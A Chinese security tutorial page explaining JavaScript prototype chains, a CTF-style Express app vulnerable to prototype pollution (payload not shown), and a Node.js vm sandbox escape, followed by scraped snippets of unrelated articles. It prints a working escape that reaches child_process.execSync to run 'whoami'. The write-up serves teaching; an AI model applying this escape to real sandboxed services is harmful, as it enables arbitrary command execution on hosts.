渗透攻击方法:原型链污染

目录

一、什么是原型链

1、原型对象

2、prototype属性

3、原型链

1、显示原型

2、隐式原型

3、原型链

4、constructor属性

二、原型链污染重现

实例

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

2、vm模块


一、什么是原型链

1、原型对象

JavaScript 中所有的对象都有一个内置属性,称为它的 prototype(原型)。它本身是一个对象,故原型对象也会有它自己的原型,逐渐构成了原型链。原型链终止于拥有 null 作为其原型的对象上。

注意 指向对象原型的属性并是 prototype。它的名字不是标准的,但实际上所有浏览器都使用 __proto__。访问对象原型的标准方法是 Object.getPrototypeOf()。

而对于原型对象来说,它有个constructor属性,指向它的构造函数。

2、prototype属性

1、JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

2、JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。

3、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

4、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

5、如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

总的来说,原型对象的作用,就是定义所有实例对象共享的属性和方法而实例对象可以视作从原型对象衍生出来的子对象。

3、原型链

原型链分为两个类型:显示原型隐式原型

1、显示原型

显示原型就是利用prototype属性查找原型,只是这个是函数类型数据的属性。

2、隐式原型

隐式原型是利用__proto__属性查找原型,这个属性指向当前对象的构造函数的原型对象,这个属性是对象类型数据的属性,所以可以在实例对象上面使用:

3、原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……


如果某个对象查找属性,自己和原型对象上都没有,那就会继续往原型对象的原型对象上去找,这个例子里就是Object.prototype,这里就是查找的终点站了,在这里找不到,就没有更上一层了(null里面啥也没有),直接返回undefined。

可以看出,整个查找过程都是顺着__proto__属性,一步一步往上查找,形成了像链条一样的结构,这个结构,就是原型链。所以,原型链也叫作隐式原型链。

正是因为这个原因,我们在创建对象、数组、函数等等数据的时候,都自带一些属性和方法,这些属性和方法是在它们的原型上面保存着,所以它们自创建起就可以直接使用那些属性和方法。

4、constructor属性

prototype对象拥有一个constructor属性,用来指向prototype对象所在的构造函数,我们也是通过这条路径来污染原型链的。
1、由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。

2、constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

3、有了constructor属性,就可以从一个实例对象新建另一个实例。

4、constructor属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor属性,防止引用的时候报错。

二、原型链污染重现

实例

代码如下

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

在此之前,我们获得信息必须要满足以下条件:

传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}   

由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:

matrix[client.row][client.col] = client.data

最终实现如下效果

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险.

2、vm模块

vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。 

使用方法很简单,我们执行m+n这个表达式:

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

this 指向传给vm.createContext的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境

以下是vm运行的几个常用函数

vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(Chrome中的v8引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

const vm = require('vm');
global.a = 1;
const sandbox = { a: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('a*=2;', sandbox);console.log(sandbox);
console.log(a); 
//输出为
[Running] node "f:\nodejs\vmtext.js"
{ a: 4 }
1
//上下文中的a在输出中应为2*2=4,但是真正输出结果a仍是1,即沙箱内部无法访问到global的属性。

以下是一个简单的沙箱逃逸的例子:

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {const process = this.toString.constructor('return process')()return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111//与计算机终端使用whoami命令输出结果一致,证明逃逸成功

计算机最终输出结果

C:\User\1\whoami
desktop-028sw38\1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/84470.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EditPlus连接Linux系统远程操作文件

EditPlus是一套功能强大的文本编辑器&#xff01; 1.File ->FTP->FTP Settings&#xff1b; 2.Add->Description->FTP server->Username->Password->Subdirectory->Advanced Options 注意&#xff1a;这里的Subdirectory设置的是以后上传文件的默认…

基于grpc从零开始搭建一个准生产分布式应用(系列)

花了点时间先把程序代码完全写完了&#xff0c;加了这个章节。因为后续章节是连续的&#xff0c;没有一个总纲同学们难免看的云里雾里的。本章先描述下完整的源码如何运行以及工程的结构。此专题大概由30章组成&#xff0c;真正的从0开始&#xff0c;框架是在原生产环境中抽取的…

Metamask登录方式集成

Metamask登录 https://www.toptal.com/ethereum/one-click-login-flows-a-metamask-tutorial#how-the-login-flow-works 参考&#xff1a; https://zh.socialgekon.com/one-click-login-with-blockchain 后端需要在用户表中增加address和nonce字段。兼容其他登录方式&#xff0…

【Maven】依赖范围、依赖传递、依赖排除、依赖原则、依赖继承

【Maven】依赖范围、依赖传递、依赖排除、依赖原则、依赖继承 依赖范围 依赖传递 依赖排除 依赖原则 依赖继承 依赖范围 在Maven中&#xff0c;依赖范围&#xff08;Dependency Scope&#xff09;用于控制依赖项在编译、测试和运行时的可见性和可用性。通过指定适当的依赖…

Pycharm 双击启动失败?

事故 双击 Pycharm 后&#xff0c;出现加载工程&#xff0c;我不想加载这个工程&#xff0c;就点击了弹出的 cancle 取消按钮。然后再到桌面双击 Pycharm 却发现无法启动了。哪怕以管理员权限运行也没用&#xff0c;就是不出界面。 原因未知 CtrlshiftESC 打开后台&#xff…

恒盛策略:沪指冲高回落跌0.26%,酿酒、汽车等板块走弱,燃气股拉升

10日早盘&#xff0c;两市股指盘中冲高回落&#xff0c;半日成交约4200亿元&#xff0c;北向资金净卖出超20亿元。 到午间收盘&#xff0c;沪指跌0.26%报3235.9点&#xff0c;深成指跌0.54%&#xff0c;创业板指跌0.28%&#xff1b;两市算计成交4202亿元&#xff0c;北向资金净…

plt绘制实测值与预测值的散点图

# -*- coding: utf-8 -*- import numpy as np import matplotlib.pyplot as plt from matplotlib.pyplot import MultipleLocator""" 输出观测值和模型预测值之间的拟合曲线,即拟合模型 决定系数R2&#xff0c;有拟合曲线公式&#xff0c;有1:1线 ""&…

hcip的BGP实验

题目 拓扑图 思路&#xff1a; 1、给各个设备配置IP地址及环回接口 2、配置R2、R3、R4&#xff0c;三个设备的OSPF环境 3、将R1、R2、R3、R4、R5建立BGP对等体关系 4、建临时&#xff0c;将源地址也修改为环回接口 5、宣告时&#xff0c;将BGP路由传递给本地的邻居时修改下…

什么是DNS的缓存?

DNS 缓存是一个临时的数据库&#xff0c;存储在计算机或网络设备&#xff08;如路由器&#xff09;上&#xff0c;用于保存最近的 DNS 查询结果。这种缓存机制可以加速后续的相同查询&#xff0c;因为设备可以直接从缓存中提取先前的查询结果&#xff0c;而不需要再次到外部的 …

WordPress博客发布到公网可访问【 windows系统及linux系统操作】

文章目录 1. 免费注册并下载安装cpolar内网穿透1.1 windows系统1.2 linux系统 2. 将内网映射到公网3. 获取所映射的公网地址 要将自己搭建的个人WordPress博客网站发布到公网可访问&#xff0c;比较常规的做法是买服务器、域名&#xff0c;将其部署到服务器上&#xff0c;备案发…

【腾讯云 Cloud Studio 实战训练营】深度体验 | 使用腾讯云 Cloud Studio 快速构建 Vue + Vite 完成律师 H5 页面

【腾讯云 Cloud Studio 实战训练营】深度体验 | 使用腾讯云 Cloud Studio 快速构建 Vue Vite 完成律师 H5 页面 写在前面的话一、腾讯云 Cloud Studio 介绍1.1 Cloud Studio 应用场景1.2 Cloud Studio 开发优势 二、沉浸式体验开发快速构建 H5 页面2.1 注册与登录 Cloud Studi…

linux配置上网 linux adsl拨号上网设置

Linux里面配置ADSL上网是件很麻烦的事。但配置完成之后就能开机自动拨号上网&#xff0c;可谓十分的方便。支持的系统有Redhat,CentOS,SuSE,FreeBSD,Ubuntu等常见的Linux。 工具/原料 ADSL网络&#xff0c;电信&#xff0c;网通&#xff0c;移动等常见宽带。 Linux系统的安装光…

分析为何科研转化率低

最近这两天&#xff0c;[广西审计:高校1.31亿科研经费成果转化率为0] 话题引发热议。据报道&#xff0c;广西壮族自治区审计厅近日公布的《关于2022年度自治区本级预算执行和其他财政收支的审计工作报告》披露了广西在科教振兴资金审计方面 9 所高校开展科研的相关情况。报告发…

网络的管理

一、查看网卡信息 先在虚拟机里看有几个网卡 二、nmcli 1、网卡的物理接口名称 2、网卡的配置信息 三、nmtui 四、下载网站上的文件

[低端局][cx32L003] 移植U8G2

文章目录 一、简介&#xff08;1&#xff09;U8g2&#xff08;2&#xff09;U8x8 二、配置要求三、移植步骤&#xff08;1&#xff09;文件准备和添加&#xff08;2&#xff09;实现回调接口(I2C的读写函数)①软件I2C②硬件I2C &#xff08;3&#xff09;功能裁剪① u8g2_d_set…

【多维定向滤波器组和表面波】表面变换:用于高效表示多维 s 的多分辨率变换(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

mysql基础之触发器的简单使用

1.建立学生信息表 -- 触发器 -- 建立学生信息表 create table s1(id int unsigned auto_increment,name varchar(30),score tinyint unsigned,dept varchar(50),primary key(id) );2.建立学生补考信息表 -- 建立学生补考信息表 create table s2 like s1;3.建立触发器&#xf…

linux文件I/O之 close()、lseek()、read()、write() 函数用法

1. close() 函数 头文件和函数声明 #include <unistd.h> int close(int fd); 函数功能 关闭一个文件描述符 返回值 成功时返回 0。失败则返回 -1&#xff0c;并设置 errno 为相应的错误标志。 参数 fd&#xff1a;文件描述符 说明 像其它所有系统调用一样&…

二级python和二级c哪个简单,二级c语言和二级python

大家好&#xff0c;小编为大家解答二级c语言和二级office一起报可以吗的问题。很多人还不知道计算机二级c语言和python哪个好考&#xff0c;现在让我们一起来看看吧&#xff01; 介绍Python有很多库和使用Qt编写的接口,这自然创建c调用Python的需求。一路摸索,充满艰辛的添加头…

创建型模式-原型模式

文章目录 一、原型模式1. 概述2. 结构3. 实现4. 案例1.5 使用场景1.6 扩展&#xff08;深克隆&#xff09; 一、原型模式 1. 概述 用一个已经创建的实例作为原型&#xff0c;通过复制该原型对象来创建一个和原型对象相同的新对象。 2. 结构 原型模式包含如下角色&#xff1a; …